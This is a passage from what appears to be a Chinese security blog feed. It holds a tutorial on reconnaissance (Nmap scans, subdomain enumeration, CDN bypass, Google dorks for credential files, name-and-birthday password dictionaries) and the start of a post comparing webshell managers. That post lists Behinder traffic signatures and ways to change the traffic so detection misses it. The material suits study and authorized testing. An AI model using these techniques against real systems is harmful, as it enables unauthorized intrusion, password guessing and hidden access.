href="#23-攻击面分类"><span>#</span></a></h3>

<table><thead><tr><th>层面</th><th>内容</th></tr></thead><tbody><tr><td><strong>技术层面</strong></td><td>DNS、CDN、云服务器、OS、各类服务、代码的漏洞和不当配置</td></tr><tr><td><strong>管理层面</strong></td><td>人性弱点（社工）</td></tr></tbody></table><hr /></section></section>
<section><h2>三、技术信息收集<a href="#三技术信息收集"><span>#</span></a></h2><section><h3>3.1 翻看网站页面 → 找漏洞利用点<a href="#31-翻看网站页面--找漏洞利用点"><span>#</span></a></h3><section><h4>识别指纹（网站架构和源码名称）<a href="#识别指纹网站架构和源码名称"><span>#</span></a></h4>

<table><thead><tr><th>指纹类型</th><th>内容</th></tr></thead><tbody><tr><td><strong>操作系统</strong></td><td>TTL 判断（128=Windows，64=Linux）、大小写判断、响应头</td></tr><tr><td><strong>中间件</strong></td><td>Apache、Nginx、IIS、Tomcat、WebLogic</td></tr><tr><td><strong>动态脚本解析器</strong></td><td>PHP、ASP.NET、JSP</td></tr><tr><td><strong>数据库</strong></td><td>MySQL、MSSQL、Oracle</td></tr><tr><td><strong>CMS/框架</strong></td><td>ThinkPHP、Shiro、FastJSON、Struts2</td></tr></tbody></table></section><section><h4>工具推荐<a href="#工具推荐"><span>#</span></a></h4>

<table><thead><tr><th>工具</th><th>用途</th></tr></thead><tbody><tr><td><strong>Wappalyzer</strong></td><td>浏览器插件，识别网站技术栈</td></tr><tr><td><strong>Nmap</strong></td><td>端口扫描、OS 识别</td></tr><tr><td><strong>浏览器开发者工具</strong></td><td>查看源码、网络请求</td></tr><tr><td><strong>云悉指纹</strong></td><td><a href="https://www.yunsee.cn" target="_blank">https://www.yunsee.cn</a></td></tr><tr><td><strong>微步社区</strong></td><td><a href="https://x.threatbook.cn" target="_blank">https://x.threatbook.cn</a></td></tr><tr><td><strong>潮汐指纹</strong></td><td><a href="http://finger.tidesec.com" target="_blank">http://finger.tidesec.com</a></td></tr></tbody></table></section><section><h4>已知漏洞搜索<a href="#已知漏洞搜索"><span>#</span></a></h4>

<table><thead><tr><th>平台</th><th>URL</th></tr></thead><tbody><tr><td>Seebug</td><td><a href="https://www.seebug.org" target="_blank">https://www.seebug.org</a></td></tr><tr><td>Exploit-DB</td><td><a href="https://www.exploit-db.com" target="_blank">https://www.exploit-db.com</a></td></tr></tbody></table></section><section><h4>JS 源码中的敏感信息<a href="#js-源码中的敏感信息"><span>#</span></a></h4><ul>
<li>产品 Banner 信息</li>
<li>网址资产</li>
<li>接口信息</li>
<li>个人信息、凭证</li>
<li>编码加密逆向信息</li>
</ul></section><section><h4>HTTP 响应头<a href="#http-响应头"><span>#</span></a></h4><p>可能泄露：服务器类型、框架版本、语言版本等。</p></section></section><section><h3>3.2 敏感资源搜集<a href="#32-敏感资源搜集"><span>#</span></a></h3><section><h4>敏感文件类型<a href="#敏感文件类型"><span>#</span></a></h4>

<table><thead><tr><th>类型</th><th>示例</th></tr></thead><tbody><tr><td>配置文件</td><td><code>.ini</code>、<code>.conf</code>、<code>.json</code>、<code>.yaml</code></td></tr><tr><td>备份文件</td><td><code>www.bak</code>、<code>www.zip</code>、<code>www.tar.gz</code></td></tr><tr><td>日志文件</td><td><code>.log</code></td></tr><tr><td>源码文件</td><td><code>.git</code>、<code>.svn</code>、<code>.swp</code></td></tr><tr><td>后台路径</td><td><code>admin</code>、<code>login</code>、<code>manage</code></td></tr></tbody></table></section><section><h4>工具推荐<a href="#工具推荐-1"><span>#</span></a></h4>

<table><thead><tr><th>工具</th><th>说明</th></tr></thead><tbody><tr><td>御剑后台扫描</td><td>扫敏感目录和文件</td></tr><tr><td>DirBuster</td><td>目录爆破</td></tr><tr><td>7KBScan</td><td>目录扫描</td></tr><tr><td>自定义爬虫</td><td>自行编写</td></tr></tbody></table></section><section><h4>备份文件名构造思路<a href="#备份文件名构造思路"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>www.gxaedu.com.bak</span></div></div><div><div><div>2</div></div><div><span>www.gxaedu.com.zip</span></div></div><div><div><div>3</div></div><div><span>www.gxaedu.com.tar.gz</span></div></div><div><div><div>4</div></div><div><span>www.gxaedu.com.bak20220902</span></div></div><div><div><div>5</div></div><div><span>gxaedu.bak</span></div></div><div><div><div>6</div></div><div><span>gxaedu.zip</span></div></div><div><div><div>7</div></div><div><span>202401gxaedu.tar.gz</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>3.3 绝对路径泄露<a href="#33-绝对路径泄露"><span>#</span></a></h3>

<table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td>查看前端源码</td><td>报错信息可能包含路径</td></tr><tr><td>构造报错</td><td>故意填写不存在的路径或参数</td></tr><tr><td>phpinfo</td><td>找 <code>DOCUMENT_ROOT</code> 或搜 <code>www</code></td></tr></tbody></table></section><section><h3>3.4 源码泄露恢复<a href="#34-源码泄露恢复"><span>#</span></a></h3>

<table><thead><tr><th>场景</th><th>方法</th></tr></thead><tbody><tr><td>GitHub 泄露</td><td>搜索公司/CMS 信息</td></tr><tr><td>.git 泄露</td><td>使用 GitHack 等工具</td></tr><tr><td>.svn 泄露</td><td>使用 SVNHack 工具</td></tr><tr><td>vim 缓存泄露</td><td>访问 <code>.index.php.swp</code>，使用 <code>vim -r index.php</code> 恢复</td></tr></tbody></table></section><section><h3>3.5 找真实 IP（CDN 绕过）<a href="#35-找真实-ipcdn-绕过"><span>#</span></a></h3>

<table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td><strong>子域名爆破</strong></td><td>不同子域名可能使用不同 IP</td></tr><tr><td><strong>邮件服务器</strong></td><td><code>mail.xxx.com</code> 与 <code>www.xxx.com</code> 同服时，查看邮件原文 IP</td></tr><tr><td><strong>Favicon Hash</strong></td><td>在 ZoomEye、FOFA、Shodan 中搜索 favicon 哈希</td></tr><tr><td><strong>历史 DNS 记录</strong></td><td><a href="https://viewdns.info%E3%80%81https://x.threatbook.cn" target="_blank">https://viewdns.info、https://x.threatbook.cn</a></td></tr><tr><td><strong>多地 Ping</strong></td><td><a href="http://ping.chinaz.com" target="_blank">http://ping.chinaz.com</a></td></tr><tr><td><strong>换协议</strong></td><td>尝试 HTTP/HTTPS 不同协议</td></tr><tr><td><strong>证书透明度</strong></td><td><a href="https://crt.sh" target="_blank">https://crt.sh</a></td></tr></tbody></table><p><strong>邮件原文查 IP：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>QQ邮箱 → 打开邮件 → 右侧三角 → 显示邮件原文 → 找 "X-Originating-IP"</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.6 子域名搜集<a href="#36-子域名搜集"><span>#</span></a></h3><section><h4>方法<a href="#方法"><span>#</span></a></h4>

<table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td><strong>DNS 爆破</strong></td><td>编写工具或使用 oneforall</td></tr><tr><td><strong>搜索引擎</strong></td><td><code>site:gxaedu.com</code></td></tr><tr><td><strong>证书透明度</strong></td><td><a href="https://crt.sh" target="_blank">https://crt.sh</a></td></tr><tr><td><strong>FOFA</strong></td><td>搜索 favicon、title 等</td></tr><tr><td><strong>DNS 域传送漏洞</strong></td><td><code>nmap --script dns-zone-transfer</code></td></tr><tr><td><strong>威胁情报网站</strong></td><td>微步在线等</td></tr></tbody></table></section><section><h4>工具推荐<a href="#工具推荐-2"><span>#</span></a></h4>

<table><thead><tr><th>工具</th><th>说明</th></tr></thead><tbody><tr><td><strong>OneForAll</strong></td><td>功能最全（需配置）</td></tr><tr><td><strong>御剑子域名爆破</strong></td><td>Windows 工具</td></tr><tr><td><strong>SubdomainBrute</strong></td><td>经典工具</td></tr></tbody></table><p><strong>OneForAll 使用：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>pip</span><span> </span><span>install</span><span> </span><span>-r</span><span> </span><span>requirements.txt</span></div></div><div><div><div>2</div></div><div><span>python</span><span> </span><span>oneforall.py</span><span> </span><span>--target</span><span> </span><span>example.com</span><span> </span><span>run</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>3.7 端口扫描<a href="#37-端口扫描"><span>#</span></a></h3><section><h4>高风险端口（必须背诵）<a href="#高风险端口必须背诵"><span>#</span></a></h4>

<table><thead><tr><th>端口</th><th>服务</th><th>说明</th></tr></thead><tbody><tr><td>21</td><td>FTP</td><td>文件传输，可能存在匿名访问</td></tr><tr><td>22</td><td>SSH</td><td>远程管理，可爆破</td></tr><tr><td>23</td><td>Telnet</td><td>明文远程命令，不安全</td></tr><tr><td>53</td><td>DNS</td><td>UDP 协议</td></tr><tr><td>80, 443, 8080</td><td>HTTP/HTTPS</td><td>Web 服务</td></tr><tr><td>1433, 1434</td><td>MSSQL</td><td>SQL Server</td></tr><tr><td>3306</td><td>MySQL</td><td>MySQL 数据库</td></tr><tr><td>3389</td><td>RDP</td><td>Windows 远程桌面</td></tr><tr><td>5432</td><td>PostgreSQL</td><td>PostgreSQL 数据库</td></tr><tr><td>6379</td><td>Redis</td><td>Redis 数据库（未授权访问）</td></tr><tr><td>7001</td><td>WebLogic</td><td>管理界面</td></tr><tr><td>1098, 1099, 4444, 4445, 8080, 8009, 8083, 8093</td><td>JBoss</td><td>JBoss 常用端口</td></tr><tr><td>9060, 9043, 9080, 9443</td><td>WebSphere</td><td>管理控制台</td></tr><tr><td>4848, 3700</td><td>GlassFish</td><td>管理端口、IIOP 端口</td></tr></tbody></table></section><section><h4>Nmap 常用命令<a href="#nmap-常用命令"><span>#</span></a></h4><div><div><div><figure><figcaption><span></span><span>Terminal window</span><span>展开</span><span>收起</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 扫描网段存活主机</span></div></div><div><div><div>2</div></div><div><span>nmap</span><span> </span><span>-sn</span><span> </span><span>192.168.68.0/24</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 识别操作系统</span></div></div><div><div><div>5</div></div><div><span>nmap</span><span> </span><span>-O</span><span> </span><span>192.168.68.128</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span># 扫描端口（默认 1000 个）</span></div></div><div><div><div>8</div></div><div><span>nmap</span><span> </span><span>192.168.68.128</span></div></div><div><div><div>9</div></div><div>
</div></div><div><div><div>10</div></div><div><span># 扫描全端口</span></div></div><div><div><div>11</div></div><div><span>nmap</span><span> </span><span>-p</span><span> </span><span>1-65535</span><span> </span><span>192.168.68.128</span></div></div><div><div><div>12</div></div><div>
</div></div><div><div><div>13</div></div><div><span># 推荐用法：操作系统 + 端口 + TCP半连接</span></div></div><div><div><div>14</div></div><div><span>nmap</span><span> </span><span>-A</span><span> </span><span>-T4</span><span> </span><span>-sS</span><span> </span><span>192.168.68.128</span></div></div><div><div><div>15</div></div><div>
</div></div><div><div><div>16</div></div><div><span># 扫描网段特定端口</span></div></div><div><div><div>17</div></div><div><span>nmap</span><span> </span><span>-sS</span><span> </span><span>-p</span><span> </span><span>80,443</span><span> </span><span>192.168.68.0/24</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span># UDP 扫描 DNS</span></div></div><div><div><div>20</div></div><div><span>nmap</span><span> </span><span>-sU</span><span> </span><span>-p</span><span> </span><span>53</span><span> </span><span>192.168.68.0/24</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h4>Nmap 选项速查<a href="#nmap-选项速查"><span>#</span></a></h4>

<table><thead><tr><th>选项</th><th>说明</th></tr></thead><tbody><tr><td><code>-O</code></td><td>操作系统版本</td></tr><tr><td><code>-F</code></td><td>快速扫描</td></tr><tr><td><code>-A</code></td><td>操作系统详情扫描</td></tr><tr><td><code>-sU</code></td><td>UDP 扫描</td></tr><tr><td><code>-Pn</code></td><td>无需 ping 通直接扫端口</td></tr><tr><td><code>-sn</code></td><td>ping 扫描在线情况</td></tr><tr><td><code>-iL</code></td><td>指定输入文件</td></tr><tr><td><code>-oN</code></td><td>指定输出文件</td></tr><tr><td><code>-sS</code></td><td>半连接扫描（提高速度）</td></tr><tr><td><code>-p</code></td><td>指定端口范围</td></tr><tr><td><code>-r</code></td><td>随机扫描端口</td></tr></tbody></table></section><section><h4>Masscan（极速端口扫描）<a href="#masscan极速端口扫描"><span>#</span></a></h4><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 特点：极速，结果可能不准确</span></div></div><div><div><div>2</div></div><div><span>masscan</span><span> </span><span>-p</span><span> </span><span>1-65535</span><span> </span><span>192.168.68.128</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>3.8 旁站和 C 段<a href="#38-旁站和-c-段"><span>#</span></a></h3><section><h4>旁站<a href="#旁站"><span>#</span></a></h4><p>旁站 = 同一台服务器上的其他网站</p><p><strong>在线工具：</strong> <a href="https://stool.chinaz.com/same" target="_blank">https://stool.chinaz.com/same</a></p></section><section><h4>C 段<a href="#c-段"><span>#</span></a></h4><p>C 段 = 同一 C 段（如 <code>192.168.1.x</code>）的其他服务器</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 扫描同一 C 段的存活主机</span></div></div><div><div><div>2</div></div><div><span>nmap</span><span> </span><span>-sn</span><span> </span><span>192.168.68.0/24</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>3.9 网络空间资产搜索引擎<a href="#39-网络空间资产搜索引擎"><span>#</span></a></h3>

<table><thead><tr><th>平台</th><th>说明</th></tr></thead><tbody><tr><td><strong>Shodan</strong></td><td>全球网络设备搜索引擎</td></tr><tr><td><strong>FOFA</strong></td><td>国内网络空间测绘平台</td></tr><tr><td><strong>ZoomEye</strong></td><td>知道创宇网络空间搜索引擎</td></tr></tbody></table></section><section><h3>3.10 威胁情报网站<a href="#310-威胁情报网站"><span>#</span></a></h3>

<table><thead><tr><th>平台</th><th>说明</th></tr></thead><tbody><tr><td>微步在线</td><td><a href="https://x.threatbook.cn" target="_blank">https://x.threatbook.cn</a></td></tr><tr><td>Seebug</td><td><a href="https://www.seebug.org" target="_blank">https://www.seebug.org</a></td></tr></tbody></table><hr /></section></section>
<section><h2>四、社工信息收集<a href="#四社工信息收集"><span>#</span></a></h2><section><h3>4.1 手工翻查页面<a href="#41-手工翻查页面"><span>#</span></a></h3><p>运维信息、联系方式、邮箱、员工姓名等。</p></section><section><h3>4.2 Whois 查询<a href="#42-whois-查询"><span>#</span></a></h3><p>域名注册人信息（可能包含姓名、邮箱、电话等）。</p><p><strong>多找几个 Whois 查询站：</strong></p><ul>
<li><a href="https://whois.chinaz.com" target="_blank">https://whois.chinaz.com</a></li>
<li><a href="https://whois.aliyun.com" target="_blank">https://whois.aliyun.com</a></li>
</ul></section><section><h3>4.3 谷歌黑客（Google Hacking）<a href="#43-谷歌黑客google-hacking"><span>#</span></a></h3><section><h4>基本语法<a href="#基本语法"><span>#</span></a></h4>

<table><thead><tr><th>关键字</th><th>功能</th></tr></thead><tbody><tr><td><code>"xxx"</code></td><td>双引号内内容不可拆分</td></tr><tr><td><code>site:</code></td><td>指定域名</td></tr><tr><td><code>inurl:</code></td><td>URL 存在关键字</td></tr><tr><td><code>intext:</code></td><td>网页正文中的关键字</td></tr><tr><td><code>filetype:</code></td><td>指定文件类型</td></tr><tr><td><code>intitle:</code></td><td>网页标题中的关键字</td></tr><tr><td><code>link:</code></td><td>所有与该 URL 做了链接的 URL</td></tr><tr><td><code>info:</code></td><td>查找指定站点基本信息</td></tr><tr><td><code>-</code></td><td>排除某个关键字</td></tr><tr><td><code>*</code></td><td>通配符（代表多个字母）</td></tr><tr><td><code>+</code></td><td>将忽略的字列入查询范围</td></tr></tbody></table></section><section><h4>常用搜索<a href="#常用搜索"><span>#</span></a></h4>

<table><thead><tr><th>搜索意图</th><th>Google 语法</th></tr></thead><tbody><tr><td>SQL 注入页面</td><td><code>site:tw inurl:?id= filetype:php</code></td></tr><tr><td>排除子域名</td><td><code>site:baidu.com -site:video.baidu.com</code></td></tr><tr><td>后台登录</td><td><code>site:xxx.com intitle:"后台登陆"</code></td></tr><tr><td>目录遍历</td><td><code>intext:"index of"</code></td></tr><tr><td>用户名密码文件</td><td><code>filetype:txt intext:username and password</code></td></tr><tr><td>敏感文件</td><td><code>site:tw filetype:inc intext:mysql_connect</code></td></tr><tr><td>后台管理</td><td><code>site:xxx.com 管理</code></td></tr><tr><td>邮箱信息</td><td><code>site:xxx.com intext:@xxx.com</code></td></tr><tr><td>配置文件</td><td><code>site:xxx.com filetype:conf</code></td></tr><tr><td>登录页面</td><td><code>site:xxx.com inurl:login</code></td></tr><tr><td>MongoDB 状态</td><td><code>site:xxx.com intitle:mongod inurl:28017</code></td></tr><tr><td>phpinfo</td><td><code>site:xxx.com inurl:phpinfo.php</code></td></tr></tbody></table></section></section><section><h3>4.4 备案信息查询<a href="#44-备案信息查询"><span>#</span></a></h3>

<table><thead><tr><th>平台</th><th>URL</th></tr></thead><tbody><tr><td>爱站备案查询</td><td><a href="https://www.beian88.com" target="_blank">https://www.beian88.com</a></td></tr><tr><td>工信部</td><td><a href="https://beian.miit.gov.cn" target="_blank">https://beian.miit.gov.cn</a></td></tr></tbody></table></section><section><h3>4.5 公司/老板信息<a href="#45-公司老板信息"><span>#</span></a></h3>

<table><thead><tr><th>平台</th><th>用途</th></tr></thead><tbody><tr><td>天眼查</td><td>公司信息、组织架构</td></tr><tr><td>企查查</td><td>公司信息</td></tr><tr><td>17CE</td><td>多地 Ping</td></tr></tbody></table><p><strong>可收集的信息：</strong></p><ul>
<li>公司地址</li>
<li>组织架构</li>
<li>联系电话/传真</li>
<li>人员姓名/职务</li>
<li>公开商业信息</li>
</ul></section><section><h3>4.6 社工字典构造<a href="#46-社工字典构造"><span>#</span></a></h3><p>根据收集到的人名、生日构造弱密码。</p><p><strong>示例：</strong> 张三，19980105</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>zs1998</span></div></div><div><div><div>2</div></div><div><span>zs199801</span></div></div><div><div><div>3</div></div><div><span>zs0105</span></div></div><div><div><div>4</div></div><div><span>zhangsan666</span></div></div><div><div><div>5</div></div><div><span>zhangsan888</span></div></div><div><div><div>6</div></div><div><span>zs19980105</span></div></div></code></pre><div><div></div><div></div></div></figure></div><hr /></section></section>
<section><h2>五、信息收集工具总结<a href="#五信息收集工具总结"><span>#</span></a></h2><section><h3>5.1 工具分类表<a href="#51-工具分类表"><span>#</span></a></h3>

<table><thead><tr><th>用途</th><th>工具</th></tr></thead><tbody><tr><td>指纹识别</td><td>Wappalyzer、云悉、潮汐</td></tr><tr><td>端口扫描</td><td>Nmap、Masscan</td></tr><tr><td>子域名收集</td><td>OneForAll、御剑、SubdomainBrute</td></tr><tr><td>目录扫描</td><td>御剑、DirBuster、7KBScan</td></tr><tr><td>旁站查询</td><td>站长之家</td></tr><tr><td>C段扫描</td><td>Nmap</td></tr><tr><td>资产搜索引擎</td><td>Shodan、FOFA、ZoomEye</td></tr><tr><td>威胁情报</td><td>微步在线、Seebug</td></tr><tr><td>Whois</td><td>站长之家、阿里云</td></tr><tr><td>备案查询</td><td>爱站、工信部</td></tr><tr><td>公司信息</td><td>天眼查、企查查</td></tr><tr><td>WAF 识别</td><td>WafWoof</td></tr></tbody></table></section><section><h3>5.2 野生三字经（顺口溜）<a href="#52-野生三字经顺口溜"><span>#</span></a></h3><p>搞企业先扫描，扫描器商业好，
默密码都知道，社工库找一找，
邮箱号先列好，九头蛇跑一跑，
搞不定放大招，发邮件凭伪造，
没邮箱搞网站，二级域皆可爆，
老漏洞没修好，新漏洞刷一票，
干研发 Git 找，源代码全都要，
CDN 可以跳，防火墙可以撬，
堡垒机可以秒，云防护可以秒，
是企业没有哪家搞不了！</p><hr /></section></section>
<section><h2>📌 快速参考卡片<a href="#-快速参考卡片"><span>#</span></a></h2><section><h3>信息收集流程速查<a href="#信息收集流程速查"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 确定目标 → 域名/IP</span></div></div><div><div><div>2</div></div><div><span>2. 被动收集 → Whois、备案、谷歌黑客、子域名</span></div></div><div><div><div>3</div></div><div><span>3. 主动扫描 → 端口、目录、C段</span></div></div><div><div><div>4</div></div><div><span>4. 指纹识别 → CMS、框架、中间件</span></div></div><div><div><div>5</div></div><div><span>5. 找漏洞 → 搜索历史漏洞</span></div></div><div><div><div>6</div></div><div><span>6. 社工 → 邮箱、姓名、字典</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>Nmap 命令速查<a href="#nmap-命令速查"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 常用</span></div></div><div><div><div>2</div></div><div><span>nmap</span><span> </span><span>-sS</span><span> </span><span>-A</span><span> </span><span>-T4</span><span> </span><span>目标IP</span></div></div><div><div><div>3</div></div><div><span>nmap</span><span> </span><span>-sn</span><span> </span><span>192.168.1.0/24</span></div></div><div><div><div>4</div></div><div><span>nmap</span><span> </span><span>-p</span><span> </span><span>1-65535</span><span> </span><span>目标IP</span></div></div><div><div><div>5</div></div><div>
</div></div><div><div><div>6</div></div><div><span># 选项记忆</span></div></div><div><div><div>7</div></div><div><span>-sS</span><span>  </span><span>半连接（快）</span></div></div><div><div><div>8</div></div><div><span>-A</span><span>   </span><span>全面扫描</span></div></div><div><div><div>9</div></div><div><span>-O</span><span>   </span><span>操作系统</span></div></div><div><div><div>10</div></div><div><span>-p</span><span>   </span><span>指定端口</span></div></div><div><div><div>11</div></div><div><span>-sn</span><span>  </span><span>只</span><span> </span><span>ping</span></div></div><div><div><div>12</div></div><div><span>-Pn</span><span>  </span><span>跳过</span><span> </span><span>ping</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>子域名查询速查<a href="#子域名查询速查"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># OneForAll</span></div></div><div><div><div>2</div></div><div><span>python</span><span> </span><span>oneforall.py</span><span> </span><span>--target</span><span> </span><span>example.com</span><span> </span><span>run</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 域传送漏洞</span></div></div><div><div><div>5</div></div><div><span>nmap</span><span> </span><span>--script</span><span> </span><span>dns-zone-transfer</span><span> </span><span>--script-args</span><span> </span><span>dns-zone-transfer.domain=example.com</span><span> </span><span>-p</span><span> </span><span>53</span><span> </span><span>-Pn</span><span> </span><span>dns.example.com</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>敏感文件扫描速查<a href="#敏感文件扫描速查"><span>#</span></a></h3><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 常见备份文件名</span></div></div><div><div><div>2</div></div><div><span>www.bak</span></div></div><div><div><div>3</div></div><div><span>www.zip</span></div></div><div><div><div>4</div></div><div><span>www.tar.gz</span></div></div><div><div><div>5</div></div><div><span>index.php.bak</span></div></div><div><div><div>6</div></div><div><span>config.php.swp</span></div></div><div><div><div>7</div></div><div><span>.htaccess</span></div></div><div><div><div>8</div></div><div><span>robots.txt</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>社工字典构造<a href="#社工字典构造"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>姓名首字母 + 生日</span></div></div><div><div><div>2</div></div><div><span>姓名全拼 + 123456</span></div></div><div><div><div>3</div></div><div><span>姓名拼音 + 888</span></div></div><div><div><div>4</div></div><div><span>公司名 + 123</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/webshell-tools/</id>
      <title type="text">Webshell 工具</title>
      <published>2026-10-21T15:11:00.000Z</published>
      <updated>2026-10-21T15:11:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/webshell-tools/"/>
      <summary type="text">冰蝎、哥斯拉、蚁剑三款 Webshell 管理工具的特点对比与流量绕过方法。</summary>
      <content type="html"><![CDATA[<section><h2>一、工具对比概览<a href="#一工具对比概览"><span>#</span></a></h2>

<table><thead><tr><th>特性</th><th>蚁剑</th><th>冰蝎</th><th>哥斯拉</th></tr></thead><tbody><tr><td><strong>开发语言</strong></td><td>PHP/Node.js</td><td>Java</td><td>Java</td></tr><tr><td><strong>流量特征</strong></td><td>明文+Base64</td><td>动态二进制加密</td><td>动态加密</td></tr><tr><td><strong>连接方式</strong></td><td>短连接</td><td>长连接（Keep-Alive）</td><td>HTTP 请求</td></tr><tr><td><strong>自定义传输协议</strong></td><td>编码器/解码器</td><td>✅ 传输协议自定义</td><td>✅ 支持</td></tr><tr><td><strong>主要优势</strong></td><td>轻量、易用</td><td>流量加密强、功能全面</td><td>跨平台、支持多语言</td></tr><tr><td><strong>运行环境</strong></td><td>浏览器/桌面</td><td>JRE 8+</td><td>JRE 8+</td></tr></tbody></table><hr /></section>
<section><h2>二、冰蝎（Behinder）<a href="#二冰蝎behinder"><span>#</span></a></h2><section><h3>2.1 安装与启动<a href="#21-安装与启动"><span>#</span></a></h3><p><strong>环境要求：</strong> JRE 8+</p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span>java</span><span> </span><span>-jar</span><span> </span><span>Behinder.jar</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.2 使用流程<a href="#22-使用流程"><span>#</span></a></h3><div><div><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 生成 WebShell</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>└── 传输协议菜单 → 生成服务端脚本</span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span>2. 客户端连接</span></div></div><div><div><div>5</div></div><div><span><span>   </span></span><span>└── 右键添加服务器 → 选择对应加密协议</span></div></div><div><div><div>6</div></div><div>
</div></div><div><div><div>7</div></div><div><span>3. 管理服务器</span></div></div><div><div><div>8</div></div><div><span><span>   </span></span><span>├── 基本信息</span></div></div><div><div><div>9</div></div><div><span><span>   </span></span><span>├── 命令执行</span></div></div><div><div><div>10</div></div><div><span><span>   </span></span><span>├── 虚拟终端</span></div></div><div><div><div>11</div></div><div><span><span>   </span></span><span>├── 文件管理</span></div></div><div><div><div>12</div></div><div><span><span>   </span></span><span>├── Socks 代理</span></div></div><div><div><div>13</div></div><div><span><span>   </span></span><span>├── 反弹 Shell</span></div></div><div><div><div>14</div></div><div><span><span>   </span></span><span>├── 数据库管理</span></div></div><div><div><div>15</div></div><div><span><span>   </span></span><span>└── 自定义代码</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div></section><section><h3>2.3 通信加密原理<a href="#23-通信加密原理"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 本地对 Payload 进行加密 → POST 发送</span></div></div><div><div><div>2</div></div><div><span>2. 服务端收到密文 → 解密</span></div></div><div><div><div>3</div></div><div><span>3. 执行 Payload → 获取结果</span></div></div><div><div><div>4</div></div><div><span>4. 服务端对执行结果加密 → 返回</span></div></div><div><div><div>5</div></div><div><span>5. 客户端解密响应 → 得到明文</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>传输协议组成：</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>传输协议 = 本地协议（Java实现）+ 远程协议（PHP/C#/ASP/Java）</span></div></div><div><div><div>2</div></div><div><span><span>         </span></span><span>├── 本地加解密函数</span></div></div><div><div><div>3</div></div><div><span><span>         </span></span><span>└── 远程加解密函数（至少一个语言）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>💡 修改 AES 密钥需<strong>同时修改本地和远程</strong>的加解密函数。</p></section><section><h3>2.4 冰蝎 4.0 流量特征<a href="#24-冰蝎-40-流量特征"><span>#</span></a></h3>

<table><thead><tr><th>特征</th><th>说明</th></tr></thead><tbody><tr><td><strong>Accept</strong></td><td><code>application/json, text/javascript, */*; q=0.01</code>（弱特征）</td></tr><tr><td><strong>Content-Type</strong></td><td><code>Application/x-www-form-urlencoded</code>（弱特征）</td></tr><tr><td><strong>User-Agent</strong></td><td>内置十几个 UA，随机选择</td></tr><tr><td><strong>本地端口</strong></td><td>约 49700 左右，每次连接递增</td></tr><tr><td><strong>连接类型</strong></td><td>长连接，<code>Connection: Keep-Alive</code></td></tr><tr><td><strong>请求头特征</strong></td><td><code>dFAXQVILORcHRQrLRIwMAhwFTAg/M</code></td></tr><tr><td><strong>响应头特征</strong></td><td><code>TxcWR1NNExZAD0ZaAWMPIAZJh1IBFBFtHThcJSIUXWEd</code></td></tr><tr><td><strong>默认密钥</strong></td><td><code>e45e329feb5d925b</code>（与 3.0 相同）</td></tr></tbody></table></section><section><h3>2.5 流量绕过方法<a href="#25-流量绕过方法"><span>#</span></a></h3>

<table><thead><tr><th>方法</th><th>说明</th></tr></thead><tbody><tr><td><strong>自定义传输协议</strong></td><td>修改加解密算法和密钥</td></tr><tr><td><strong>修改 User-Agent</strong></td><td>模拟正常浏览器</td></tr><tr><td><strong>代理中转</strong></td><td>通过代理工具转发流量</td></tr><tr><td><strong>修改 Accept/Content-Type</strong></td><td>模拟正常 API 请求</td></tr></tbody></table><hr /></section></section>
